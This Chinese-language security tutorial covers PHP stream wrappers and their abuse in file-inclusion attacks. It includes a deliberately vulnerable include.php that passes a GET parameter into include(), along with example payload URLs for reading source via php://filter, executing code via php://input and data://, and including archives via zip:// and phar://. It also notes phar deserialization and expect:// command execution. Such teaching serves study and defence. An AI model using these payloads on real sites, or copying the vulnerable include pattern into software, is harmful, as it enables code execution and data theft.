0x01 协议概述

PHP伪协议事实上就是支持的协议与封装协议(12种)

  • file:// — 访问本地文件系统
  • http:// — 访问 HTTP(s) 网址
  • php:// — 访问各个输入/输出流(I/O streams)
  • zlib:// — 压缩流
  • data:// — 数据(RFC 2397)
  • phar:// — PHP 归档
  • ftp:// — 访问 FTP(s) URLs
  • glob:// — 查找匹配的文件路径模式
  • ssh2:// — Secure Shell 2
  • rar:// — RAR
  • ogg:// — 音频流
  • expect:// — 处理交互式的流

0x02 协议总结

2.1 file:// 协议

用于访问本地文件系统,通常用来读取本地文件,且不受配置中allow_url_fopenallow_url_include的影响。

include()/require()/include_once()/require_once()参数可控的情况下,导入为非.php文件,则仍按照PHP进行解析。

使用条件:

  • allow_url_fopen: On/Off
  • allow_url_include: On/Off

使用方法:file:// [文件的绝对路径和文件名]

举个栗子:

#include.php
<?php $file=$_GET["file"];include($file); ?> 
    
#test.txt
<?php echo("hello,world!"); ?>

#output
hello,world!

http://127.0.0.1/include.php?file=file://E:/path/to/test.txt   #绝对路径

2.2 http:// 协议

数常规 URL 形式,允许通过 HTTP 1.0GET方法,以只读访问文件或资源

使用条件:

  • allow_url_fopen : on
  • allow_url_include : on

举个栗子:

http://127.0.0.1/include.php?file=http://127.0.0.1/phpinfo.txt

2.3 php://协议

用于访问 PHP 的输入输出流、标准输入输出和错误描述符,内存中、磁盘备份的临时文件流以及可以操作其他读取写入文件资源的过滤器。

php://input : 可以访问请求的原始数据的只读流,在POST请求中访问POST的data部分,在enctype="multipart/form-data" 的时候php://input 无效。

**php://filter **: (PHP>=5.0.0)一种元封装器,设计用于数据流打开时的筛选过滤应用。对于一体式(all-in-one)的文件函数非常有用,类似 readfile()、file() 和 file_get_contents(),在数据流内容读取之前没有机会应用其他过滤器。

php://output : 只写的数据流,允许以 print 和 echo 一样的方式写入到输出缓冲区。

php://fd : (PHP>=5.3.6)允许直接访问指定的文件描述符。

php://memory php://temp : (PHP>=5.1.0)一个类似文件包装器的数据流,允许读写临时数据。两者的唯一区别是 php://memory 总是把数据储存在内存中,而 php://temp 会在内存量达到预定义的限制后(默认是 2MB)存入临时文件中。临时文件位置的决定和 sys_get_temp_dir() 的方式一致。

使用条件:

  • allow_url_fopen: On/Off

  • allow_url_include: On

    php://input php://stdin php://memory php://temp 需要on

使用方法:

php://filter协议的参数会在该协议路径上进行传递,多个参数都可以在一个路径上传递。具体参考如下:

php://filter 参数 描述
resource=<要过滤的数据流> 必须项。它指定了你要筛选过滤的数据流。
read=<读链的过滤器> 可选项。可以设定一个或多个过滤器名称,以管道符(\)分隔。
write=<写链的过滤器> 可选项。可以设定一个或多个过滤器名称,以管道符(\)分隔。
<;两个链的过滤器> 任何没有以 read=write= 作前缀的筛选器列表会视情况应用于读或写链。

举个栗子:

php://input : 
http://127.0.0.1/include.php?file=php://input
POST部分自定义payload

php://filter : 
http://127.0.0.1/include.php?file=php://filter/read=convert.base64-encode/resource=phpinfo.php #读取文件源码(针对php文件需要base64编码)

php://output : 
http://127.0.0.1/include.php?file=php://output

2.4 zlib:// | bzip2:// | zip://协议

用于访问压缩文件中的子文件,不需要指定后缀名,可修改为任意后缀

使用条件:

  • allow_url_fopen : off/on
  • allow_url_include : off/on

使用方法:

zip://[压缩文件绝对路径]%23[压缩文件内的子文件名]#编码为%23)

compress.bzip2://[压缩文件绝对路径]

compress.zlib://[压缩文件绝对路径]

举个栗子:

zip:// : 
http://127.0.0.1/include.php?file=zip://E:/path/to/phpinfo.jpg%23phpinfo.txt (%23#的编码)

bzip2:// : 
http://127.0.0.1/include.php?file=compress.bzip2://E:/path/to/phpinfo.bz2

zlib:// :
http://127.0.0.1/include.php?file=compress.zlib://E:/path/to/phpinfo.gz

2.5 data:// 协议

数据流封装器,用于传递相应格式的数据。通常可以用来执行PHP代码。(PHP>=5.2.0

使用条件:

  • allow_url_fopen : on
  • allow_url_include : on

使用方法:

data://text/plain,[data]

data://text/plain;base64,[data]

举个栗子:

http://127.0.0.1/include.php?file=data://text/plain,<?php phpinfo();?>

http://127.0.0.1/include.php?file=data://text/plain;base64,[base64]

2.6 phar:// 协议

phar://协议与zip://类似,可以访问zip格式压缩包内容

举个栗子:

http://127.0.0.1/include.php?file=phar://E:/path/to/phpinfo.zip/phpinfo.txt

注:phar://协议读取phar文件时,会自动将文件中的meta-data部分反序列化,因此可以用来构造反序列化漏洞

2.7 ftp:// 协议

访问FTP(s) URLs时,允许通过FTP读取存在的文件、创建新文件。 如果服务器不支持被动(passive)模式的FTP,连接会失败。

打开文件后无法同时进行读写。 当远程文件已经存在于ftp服务器上,如果尝试打开并写入文件的时候, 未指定上下文(context)选项overwrite,连接会失败。 如果要通过FTP覆盖存在的文件, 指定上下文(context)overwrite选项来打开、写入。

2.8 glob:// 协议

查找匹配的文件路径模式(PHP>=5.3.0)

举个栗子:

<?php
// 循环 ext/spl/examples/ 目录里所有 *.php 文件
// 并打印文件名和文件尺寸
$it = new DirectoryIterator("glob://ext/spl/examples/*.php");
foreach($it as $f) {
    printf("%s: %.1FK\n", $f->getFilename(), $f->getSize()/1024);
}
?>

2.9 ssh2:// 协议

Secure Shell 2,默认没有激活,如果需要使用ssh2.*://封装协议,必须安装来自PECLSSH2扩展,主要形式有:

ssh2.shell://
ssh2.exec://
ssh2.tunnel://
ssh2.sftp://
ssh2.scp://

该伪协议除了支持传统的URI登录信息,ssh2封装协议也支持通过URL的主机(host)部分来复用打开连接,用法如下所示:

ssh2.shell://user:pass@example.com:22/xterm
ssh2.exec://user:pass@example.com:22/usr/local/bin/somecmd
ssh2.tunnel://user:pass@example.com:22/192.168.0.1:14
ssh2.sftp://user:pass@example.com:22/path/to/filename

下面示例从一个活动连接中打开字节流:

<?php
$session = ssh2_connect('example.com', 22);
ssh2_auth_pubkey_file($session, 'username', '/home/username/.ssh/id_rsa.pub',
                                            '/home/username/.ssh/id_rsa', 'secret');
$stream = fopen("ssh2.tunnel://$session/remote.example.com:1234", 'r');
?>

2.10 rar://协议

用于打开文件和目录,需要安装PECLrar扩展

使用方法:

rar://E:/path/to/test.rar#test.txt

2.11 ogg:// 协议

音频流协议,用以读取OGG/Vorbis格式的压缩音频编码,并能通过该伪协议写入或追加压缩音频数据,默认未激活,使用需要安装PECL中的OGG/Vorbis扩展。

举个栗子:

ogg://soundfile.ogg
ogg:///path/to/soundfile.ogg
ogg://http://www.example.com/path/to/soundstream.ogg

2.12 expect://协议

用以处理交互式的流,由expect://封装协议打开的数据流PTY提供了对进程stdiostdoutstderr的访问,默认未开启,使用须安装PECL上的Expect扩展。

举个栗子:

expect://command

0x03 参考

[1] [PHP伪协议总结] https://segmentfault.com/a/1190000018991087

[2] [浅谈PHP-伪协议] https://www.yuque.com/pmiaowu/web_security_1/lnq3co#Z778L

[3] [PHP伪协议相关] https://zhuanlan.zhihu.com/p/49206578

[4] [PHP伪协议总结] https://www.xiaozzz.xyz/2019/09/21/PHP%E4%BC%AA%E5%8D%8F%E8%AE%AE%E6%80%BB%E7%BB%93/